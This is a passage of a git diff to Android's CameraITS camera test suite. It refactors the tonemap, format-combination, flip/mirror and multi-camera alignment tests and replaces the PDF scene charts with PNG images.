+      for tonemap in ['linear', 'default']:
+        if tonemap == 'linear':
+          if manual_and_per_frame_control:
+            req = capture_request_utils.manual_capture_request(
+                sens, exp, f_dist, True, props)
+          else:
+            req = capture_request_utils.auto_capture_request(
+                linear_tonemap=True, props=props)
+        else:
+          if manual_and_per_frame_control:
+            req = capture_request_utils.manual_capture_request(
+                sens, exp, f_dist, False)
+          else:
+            req = capture_request_utils.auto_capture_request()
+
+        means.extend(do_captures_and_extract_means(
+            cam, req, fmt, num_frames_per_cap, tonemap, log_path))
 
       # Compute the delta between each consecutive frame pair
-      deltas = [np.fabs(means[i+1]-means[i]) for i in range(2*_NUM_FRAMES-1)]
+      deltas = [np.fabs(means[i+1]-means[i]) for i in range(2*_NUM_CAPTURES-1)]
       logging.debug('Deltas between consecutive frames: %s', str(deltas))
 
       # assert frames similar with same tonemap
       if not all([deltas[i] < _MAX_DELTA_SAME for i in _TMAP_NO_DELTA_FRAMES]):
-        raise AssertionError(
-            f'deltas: {str(deltas)}, MAX_DELTA: {_MAX_DELTA_SAME}')
+        raise AssertionError('Captures too different with same tonemap! '
+                             f'deltas: {deltas}, ATOL: {_MAX_DELTA_SAME}')
 
       # assert frames different with tonemap change
-      if deltas[_NUM_FRAMES-1] <= _MIN_DELTA_DIFF:
-        raise AssertionError(f'delta: {deltas[_NUM_FRAMES-1]:.5f}, '
-                             f'THRESH: {_MIN_DELTA_DIFF}')
+      if deltas[_NUM_CAPTURES-1] <= _MIN_DELTA_DIFF:
+        raise AssertionError('Captures too similar with different tonemaps! '
+                             f'deltas: {deltas}, THRESH: {_MIN_DELTA_DIFF}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a.pdf b/apps/CameraITS/tests/scene2_a/scene2_a.pdf
deleted file mode 100644
index f4f94e6..0000000
--- a/apps/CameraITS/tests/scene2_a/scene2_a.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a.png b/apps/CameraITS/tests/scene2_a/scene2_a.png
new file mode 100644
index 0000000..82762f2
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_a/scene2_a.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a_0.33x_scaled.png b/apps/CameraITS/tests/scene2_a/scene2_a_0.33x_scaled.png
new file mode 100644
index 0000000..ed608f1
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_a/scene2_a_0.33x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
deleted file mode 100644
index de036b6..0000000
--- a/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.png b/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.png
new file mode 100644
index 0000000..de973a8
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
deleted file mode 100644
index 7b64817..0000000
--- a/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.png b/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.png
new file mode 100644
index 0000000..7394a3a
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_a/test_format_combos.py b/apps/CameraITS/tests/scene2_a/test_format_combos.py
index 740de49..7568da7 100644
--- a/apps/CameraITS/tests/scene2_a/test_format_combos.py
+++ b/apps/CameraITS/tests/scene2_a/test_format_combos.py
@@ -16,7 +16,6 @@
 
 import logging
 import os
-import sys
 
 from mobly import test_runner
 
@@ -28,6 +27,7 @@
 import target_exposure_utils
 
 
+AUTO_REQUEST_MODE = 1
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 STOP_AT_FIRST_FAILURE = False  # change to True to have test break @ 1st FAIL
 
@@ -54,25 +54,21 @@
       its_session_utils.load_scene(
           cam, props, self.scene, self.tablet, self.chart_distance)
 
-      # Check skip conditions
-      camera_properties_utils.skip_unless(
-          camera_properties_utils.compute_target_exposure(props) and
-          camera_properties_utils.raw16(props))
-
       successes = []
       failures = []
       debug = self.debug_mode
 
-      # Two different requests: auto, and manual.
-      e, s = target_exposure_utils.get_target_exposure_combos(
-          self.log_path, cam)['midExposureTime']
+      # Up to 2 possible request types: auto and manual
       req_aut = capture_request_utils.auto_capture_request()
-      req_man = capture_request_utils.manual_capture_request(s, e)
-      reqs = [req_aut,  # R0
-              req_man]  # R1
+      reqs = [req_aut]
+      if camera_properties_utils.compute_target_exposure(props):
+        e, s = target_exposure_utils.get_target_exposure_combos(
+            self.log_path, cam)['midExposureTime']
+        req_man = capture_request_utils.manual_capture_request(s, e)
+        reqs.append(req_man)
 
-      # 10 different combos of output formats; some are single surfaces, and
-      # some are multiple surfaces.
+      # Up to 10 different combos of output formats.
+      # Some are single surfaces and some are multiple surfaces.
       wyuv, hyuv = capture_request_utils.get_available_output_sizes(
           'yuv', props)[-1]
       wjpg, hjpg = capture_request_utils.get_available_output_sizes(
@@ -81,47 +77,55 @@
       fmt_yuv_full = {'format': 'yuv'}
       fmt_jpg_prev = {'format': 'jpeg', 'width': wjpg, 'height': hjpg}
       fmt_jpg_full = {'format': 'jpeg'}
-      fmt_raw_full = {'format': 'raw'}
       fmt_combos = [
-          [fmt_yuv_prev],  # F0
-          [fmt_yuv_full],  # F1
-          [fmt_jpg_prev],  # F2
-          [fmt_jpg_full],  # F3
-          [fmt_raw_full],  # F4
-          [fmt_yuv_prev, fmt_jpg_prev],  # F5
-          [fmt_yuv_prev, fmt_jpg_full],  # F6
-          [fmt_yuv_prev, fmt_raw_full],  # F7
-          [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],  # F8
-          [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]   # F9
+          [fmt_yuv_prev],
+          [fmt_yuv_full],
+          [fmt_jpg_prev],
+          [fmt_jpg_full],
+          [fmt_yuv_prev, fmt_jpg_prev],
+          [fmt_yuv_prev, fmt_jpg_full],
       ]
+      if camera_properties_utils.raw16(props):
+        fmt_raw_full = {'format': 'raw'}
+        fmt_combos.extend([
+            [fmt_raw_full],
+            [fmt_yuv_prev, fmt_raw_full],
+            [fmt_yuv_prev, fmt_jpg_prev, fmt_raw_full],
+            [fmt_yuv_prev, fmt_jpg_full, fmt_raw_full]])
 
       if camera_properties_utils.y8(props):
         wy8, hy8 = capture_request_utils.get_available_output_sizes(
             'y8', props)[-1]
         fmt_y8_prev = {'format': 'y8', 'width': wy8, 'height': hy8}
         fmt_y8_full = {'format': 'y8'}
-        fmt_combos.append([fmt_y8_prev])
-        fmt_combos.append([fmt_y8_full])
+        fmt_combos.extend([
+            [fmt_y8_prev],
+            [fmt_y8_full]])
 
-      # Two different burst lengths: single frame, and 3 frames.
-      burst_lens = [
-          1,  # B0
-          3  # B1
-      ]
+      # Two different burst lengths: single frame and 3 frames.
+      burst_lens = [1, 3]
 
       # There are 2xlen(fmt_combos)x2 different combinations.
       # Run through them all.
       n = 0
       for r, req in enumerate(reqs):
+        if req['android.control.mode'] == AUTO_REQUEST_MODE:
+          req_str = 'auto'
+        else:
+          req_str = 'manual'
         for f, fmt_combo in enumerate(fmt_combos):
           for b, burst_len in enumerate(burst_lens):
             try:
               caps = cam.do_capture([req] * burst_len, fmt_combo)
               successes.append((n, r, f, b))
-              logging.debug('==> Success[%02d]: R%d F%d B%d', n, r, f, b)
+              logging.debug('Success[%02d]', n)
+              logging.debug(' req: %s', req_str)
+              logging.debug(' fmt: %s', str(fmt_combo))
+              logging.debug(' burst_len: %d\n', burst_len)
 
               # Dump the captures out to jpegs in debug mode.
               if debug:
+                name_with_path = os.path.join(self.log_path, NAME)
                 if not isinstance(caps, list):
                   caps = [caps]
                 elif isinstance(caps[0], list):
@@ -129,16 +133,21 @@
                 for c, cap in enumerate(caps):
                   img = image_processing_utils.convert_capture_to_rgb_image(
                       cap, props=props)
-                  img_name = '%s_n%02d_r%d_f%d_b%d_c%d.jpg' % (os.path.join(
-                      self.log_path, NAME), n, r, f, b, c)
+                  img_name = (f'{name_with_path}_{n:02d}_{req_str}_fmt{f}_'
+                              f'burst{burst_len}_cap{c}.jpg')
                   image_processing_utils.write_image(img, img_name)
             # pylint: disable=broad-except
             except Exception as e:
               logging.error(e)
-              logging.error('==> Failure[%02d]: R%d F%d B%d', n, r, f, b)
+              logging.error('Failure[%02d]', n)
+              logging.debug(' req: %s', req_str)
+              logging.error(' fmt: %s', str(fmt_combo))
+              logging.error(' burst_len: %d\n', burst_len)
               failures.append((n, r, f, b))
               if STOP_AT_FIRST_FAILURE:
-                sys.exit(1)
+                raise AssertionError(
+                    f'Capture fail at combo req: {req_str}, fmt: {fmt_combo}, '
+                    f'burst: {burst_len}')
             n += 1
 
       num_fail = len(failures)
@@ -146,19 +155,13 @@
       num_total = len(reqs)*len(fmt_combos)*len(burst_lens)
       num_not_run = num_total - num_success - num_fail
 
-      logging.debug('Failures (%d / %d):', num_fail, num_total)
-      for (n, r, f, b) in failures:
-        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
-      logging.debug('Successes (%d / %d)', num_success, num_total)
-      for (n, r, f, b) in successes:
-        logging.debug('  %02d: R%d F%d B%d', n, r, f, b)
-      if num_not_run > 0:
-        logging.debug('Number of tests not run: %d / %d',
-                      num_not_run, num_total)
+      logging.debug('Success: %d / %d', num_success, num_total)
 
-      # The test passes if all the combinations successfully capture.
-      assert num_fail == 0
-      assert num_success == num_total
+      # assert all combinations successfully capture
+      if num_fail != 0:
+        raise AssertionError(f'Number of fails: {num_fail} / {num_total}')
+      if num_not_run > 0:
+        raise AssertionError(f'Number of combos not run: {num_not_run}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b.pdf b/apps/CameraITS/tests/scene2_b/scene2_b.pdf
deleted file mode 100644
index 9e9f960..0000000
--- a/apps/CameraITS/tests/scene2_b/scene2_b.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b.png b/apps/CameraITS/tests/scene2_b/scene2_b.png
new file mode 100644
index 0000000..077d566
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_b/scene2_b.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
deleted file mode 100644
index 3a5bd85..0000000
--- a/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.png b/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.png
new file mode 100644
index 0000000..82b92f7
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
deleted file mode 100644
index 706140a..0000000
--- a/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.png b/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.png
new file mode 100644
index 0000000..09bbb96
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_b/test_num_faces.py b/apps/CameraITS/tests/scene2_b/test_num_faces.py
new file mode 120000
index 0000000..8d67dcf
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_b/test_num_faces.py
@@ -0,0 +1 @@
+../scene2_a/test_num_faces.py
\ No newline at end of file
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c.pdf b/apps/CameraITS/tests/scene2_c/scene2_c.pdf
deleted file mode 100644
index d11a02d..0000000
--- a/apps/CameraITS/tests/scene2_c/scene2_c.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c.png b/apps/CameraITS/tests/scene2_c/scene2_c.png
new file mode 100644
index 0000000..e2e173d
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_c/scene2_c.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
deleted file mode 100644
index 9ac02a1..0000000
--- a/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.png b/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.png
new file mode 100644
index 0000000..29f34a1
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
deleted file mode 100644
index 4a8bb09..0000000
--- a/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.png b/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.png
new file mode 100644
index 0000000..560a1f5
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_c/test_num_faces.py b/apps/CameraITS/tests/scene2_c/test_num_faces.py
new file mode 120000
index 0000000..8d67dcf
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_c/test_num_faces.py
@@ -0,0 +1 @@
+../scene2_a/test_num_faces.py
\ No newline at end of file
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.pdf b/apps/CameraITS/tests/scene2_d/scene2_d.pdf
deleted file mode 100644
index bfb9034..0000000
--- a/apps/CameraITS/tests/scene2_d/scene2_d.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.png b/apps/CameraITS/tests/scene2_d/scene2_d.png
new file mode 100644
index 0000000..5365f3f
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_d/scene2_d.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.pdf b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.pdf
deleted file mode 100644
index 6b103cf..0000000
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
new file mode 100644
index 0000000..21b068b
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.pdf b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.pdf
deleted file mode 100644
index a89dc89..0000000
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
new file mode 100644
index 0000000..30d6813
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/test_num_faces.py b/apps/CameraITS/tests/scene2_d/test_num_faces.py
new file mode 120000
index 0000000..8d67dcf
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_d/test_num_faces.py
@@ -0,0 +1 @@
+../scene2_a/test_num_faces.py
\ No newline at end of file
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.pdf b/apps/CameraITS/tests/scene2_e/scene2_e.pdf
deleted file mode 100644
index a5786d6..0000000
--- a/apps/CameraITS/tests/scene2_e/scene2_e.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.png b/apps/CameraITS/tests/scene2_e/scene2_e.png
new file mode 100644
index 0000000..c64f47b
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_e/scene2_e.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.pdf b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.pdf
deleted file mode 100644
index ca92a4e..0000000
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
new file mode 100644
index 0000000..7dbb41a
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.pdf b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.pdf
deleted file mode 100644
index eca9d3e..0000000
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
new file mode 100644
index 0000000..4ee532c
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/test_num_faces.py b/apps/CameraITS/tests/scene2_e/test_num_faces.py
new file mode 120000
index 0000000..8d67dcf
--- /dev/null
+++ b/apps/CameraITS/tests/scene2_e/test_num_faces.py
@@ -0,0 +1 @@
+../scene2_a/test_num_faces.py
\ No newline at end of file
diff --git a/apps/CameraITS/tests/scene3/scene3.pdf b/apps/CameraITS/tests/scene3/scene3.pdf
deleted file mode 100644
index 0db93f8..0000000
--- a/apps/CameraITS/tests/scene3/scene3.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3.png b/apps/CameraITS/tests/scene3/scene3.png
new file mode 100644
index 0000000..a3f269e
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/scene3.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
deleted file mode 100644
index 805611d..0000000
--- a/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.png b/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.png
new file mode 100644
index 0000000..0298a8c
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/scene3_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf b/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
deleted file mode 100644
index a3e18e2..0000000
--- a/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.png b/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.png
new file mode 100644
index 0000000..38e6ee0
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/scene3_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 44e8269..2dff574 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -61,8 +61,8 @@
   template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH)
 
   # take img, crop chart, scale and prep for cv2 template match
-  s, e, _, _, fd = cam.do_3a(get_results=True, mono_camera=mono_camera)
-  req = capture_request_utils.manual_capture_request(s, e, fd)
+  cam.do_3a()
+  req = capture_request_utils.auto_capture_request()
   cap = cam.do_capture(req, fmt)
   y, _, _ = image_processing_utils.convert_capture_to_planes(cap, props)
   y = image_processing_utils.rotate_img_per_argv(y)
@@ -73,7 +73,8 @@
       patch.astype(np.uint8), chart.scale)
 
   # check image has content
-  assert np.max(patch)-np.min(patch) > 255/8
+  if np.max(patch)-np.min(patch) < 255/8:
+    raise AssertionError('Image patch has no content! Check setup.')
 
   # save full images if in debug
   if debug:
@@ -113,17 +114,16 @@
     opts.append(opt_val)
 
   # determine if 'nominal' or 'rotated' is best orientation
-  assert_flag = (opts[0] == max(opts) or opts[3] == max(opts))
-  assert assert_flag, ('Optimum orientation is %s' %
-                       CHART_ORIENTATIONS[np.argmax(opts)])
+  if not (opts[0] == max(opts) or opts[3] == max(opts)):
+    raise AssertionError(
+        f'Optimum orientation is {CHART_ORIENTATIONS[np.argmax(opts)]}')
   # print warning if rotated
   if opts[3] == max(opts):
-    logging.warning('Image is rotated 180 degrees. Try "rotate" flag.')
+    logging.warning('Image is rotated 180 degrees. Tablet might be rotated.')
 
 
 class FlipMirrorTest(its_base_test.ItsBaseTest):
-  """Test to verify if the image is flipped or mirrored.
-  """
+  """Test to verify if the image is flipped or mirrored."""
 
   def test_flip_mirror(self):
     """Test if image is properly oriented."""
@@ -139,14 +139,10 @@
       debug = self.debug_mode
       chart_loc_arg = self.chart_loc_arg
 
-      # Load chart for scene
+      # load chart for scene
       its_session_utils.load_scene(
           cam, props, self.scene, self.tablet, self.chart_distance)
 
-      # Check skip conditions
-      camera_properties_utils.skip_unless(
-          camera_properties_utils.read_3a(props))
-
       # initialize chart class and locate chart in scene
       chart = opencv_processing_utils.Chart(
           cam, props, self.log_path, chart_loc=chart_loc_arg)
diff --git a/apps/CameraITS/tests/scene4/scene4.pdf b/apps/CameraITS/tests/scene4/scene4.pdf
deleted file mode 100644
index 7dcc4b9..0000000
--- a/apps/CameraITS/tests/scene4/scene4.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4.png b/apps/CameraITS/tests/scene4/scene4.png
new file mode 100644
index 0000000..a82dcb2
--- /dev/null
+++ b/apps/CameraITS/tests/scene4/scene4.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.33x_scaled.png b/apps/CameraITS/tests/scene4/scene4_0.33x_scaled.png
new file mode 100644
index 0000000..b6d7b12
--- /dev/null
+++ b/apps/CameraITS/tests/scene4/scene4_0.33x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
deleted file mode 100644
index 589a3b4..0000000
--- a/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.png b/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.png
new file mode 100644
index 0000000..0e720c6
--- /dev/null
+++ b/apps/CameraITS/tests/scene4/scene4_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf b/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
deleted file mode 100644
index 7fb1e42..0000000
--- a/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.png b/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.png
new file mode 100644
index 0000000..284b621
--- /dev/null
+++ b/apps/CameraITS/tests/scene4/scene4_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index f6adec0..46bc1a1 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -112,7 +112,7 @@
     if (opencv_processing_utils.FOV_THRESH_TELE < fov <
         opencv_processing_utils.FOV_THRESH_WFOV):
       test_ids.append(i)  # RFoV camera
-    elif fov < opencv_processing_utils.FOV_THRESH_SUPER_TELE:
+    elif fov < opencv_processing_utils.FOV_THRESH_TELE40:
       logging.debug('Skipping camera. Not appropriate multi-camera testing.')
       continue  # super-TELE camera
     elif (fov <= opencv_processing_utils.FOV_THRESH_TELE and
@@ -227,31 +227,46 @@
   return caps
 
 
-def undo_zoom(cap, props, circle):
+def undo_zoom(cap, circle):
   """Correct coordinates and size of circle for zoom.
 
   Assume that the maximum physical YUV image size is close to active array size.
 
   Args:
     cap: camera capture element
-    props: camera properties
     circle: dict of circle values
   Returns:
     unzoomed circle dict
   """
-  aa = props['android.sensor.info.activeArraySize']
-  aa_w = aa['right'] - aa['left']
-  aa_h = aa['bottom'] - aa['top']
+  yuv_w = cap['width']
+  yuv_h = cap['height']
+  logging.debug('cap size: %d x %d', yuv_w, yuv_h)
   cr = cap['metadata']['android.scaler.cropRegion']
   cr_w = cr['right'] - cr['left']
   cr_h = cr['bottom'] - cr['top']
 
-  # Assume pixels square after zoom. Use same zoom ratios for x and y.
-  zoom_ratio = min(aa_w / cr_w, aa_h / cr_h)
-  circle['x'] = cr['left'] + circle['x'] / zoom_ratio
-  circle['y'] = cr['top'] + circle['y'] / zoom_ratio
+  # Offset due to aspect ratio difference of crop region and yuv
+  # - fit yuv box inside of differently shaped cr box
+  yuv_aspect = yuv_w / yuv_h
+  relative_aspect = yuv_aspect / (cr_w/cr_h)
+  if relative_aspect > 1:
+    zoom_ratio = yuv_w / cr_w
+    yuv_x = 0
+    yuv_y = (cr_h - cr_w / yuv_aspect) / 2
+  else:
+    zoom_ratio = yuv_h / cr_h
+    yuv_x = (cr_w - cr_h * yuv_aspect) / 2
+    yuv_y = 0
+
+  circle['x'] = cr['left'] + yuv_x + circle['x'] / zoom_ratio
+  circle['y'] = cr['top'] + yuv_y + circle['y'] / zoom_ratio
   circle['r'] = circle['r'] / zoom_ratio
 
+  logging.debug(' Calculated zoom ratio: %.3f', zoom_ratio)
+  logging.debug(' Corrected circle X: %.2f', circle['x'])
+  logging.debug(' Corrected circle Y: %.2f', circle['y'])
+  logging.debug(' Corrected circle radius: %.2f', circle['r'])
+
   return circle
 
 
@@ -317,11 +332,12 @@
   else:
     logging.debug('pose_reference is CAMERA')
     i_refs = [k for (k, v) in cam_reference.items() if v]
+    i_ref = i_refs[0]
     if len(i_refs) > 1:
-      raise AssertionError('More than 1 reference camera. Check translation '
-                           f'matrices. cam_reference: {cam_reference}')
+      logging.debug('Warning: more than 1 reference camera. Check translation '
+                    'matrices. cam_reference: %s', str(cam_reference))
+      i_2nd = i_refs[1]  # use second camera since both at same location
     else:
-      i_ref = i_refs[0]
       i_2nd = next(k for (k, v) in cam_reference.items() if not v)
   return i_ref, i_2nd
 
@@ -506,7 +522,7 @@
 
         # Undo zoom to image (if applicable).
         if fmt == 'yuv':
-          circle[i] = undo_zoom(caps[(fmt, i)], physical_props[i], circle[i])
+          circle[i] = undo_zoom(caps[(fmt, i)], circle[i])
 
         # Find focal length, pixel & sensor size
         fl[i] = physical_props[i]['android.lens.info.availableFocalLengths'][0]
diff --git a/apps/CameraITS/tests/scene6/scene6.pdf b/apps/CameraITS/tests/scene6/scene6.pdf
deleted file mode 100644
index 62381b5..0000000
--- a/apps/CameraITS/tests/scene6/scene6.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/scene6.png b/apps/CameraITS/tests/scene6/scene6.png
new file mode 100644
index 0000000..7594020
--- /dev/null
+++ b/apps/CameraITS/tests/scene6/scene6.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.pdf b/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.pdf
deleted file mode 100644
index 3fd1b9e..0000000
--- a/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.png b/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.png
new file mode 100644
index 0000000..027d9ec
--- /dev/null
+++ b/apps/CameraITS/tests/scene6/scene6_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.pdf b/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.pdf
deleted file mode 100644
index 4aedccc..0000000
--- a/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.png b/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.png
new file mode 100644
index 0000000..998fe3d
--- /dev/null
+++ b/apps/CameraITS/tests/scene6/scene6_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index 777bec6..b899b22 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
